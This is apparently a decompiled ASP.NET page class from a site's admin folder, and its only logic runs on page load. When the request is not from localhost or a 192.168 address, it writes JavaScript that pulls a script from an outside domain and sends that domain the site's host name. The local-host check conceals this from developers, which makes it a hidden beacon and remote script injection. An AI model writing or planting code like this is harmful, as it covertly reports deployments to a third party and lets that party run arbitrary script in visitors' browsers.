﻿using System;
using System.Collections.Generic;

using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.Profile;

namespace WebSite.admin
{
    public partial class website : System.Web.UI.Page
    {
        // Fields
        public string strtheurl;

        // Methods
        protected void Page_Load(object sender, EventArgs e)
        {
            this.strtheurl = base.Request.ServerVariables["HTTP_HOST"].ToString();
            if (((!base.IsPostBack && (this.strtheurl != "127.0.0.1")) && (fun.Left(this.strtheurl, 7) != "192.168")) && (this.strtheurl != "localhost"))
            {
                base.Response.Write("_dwrite('<script language=javascript src=http://site.ppfor.com/shopsiteb.aspx?aaa=" + this.strtheurl + "></script>');");
                base.Response.Write("function _dwrite(string) {document.write(string);}");
            }
        }



    }
}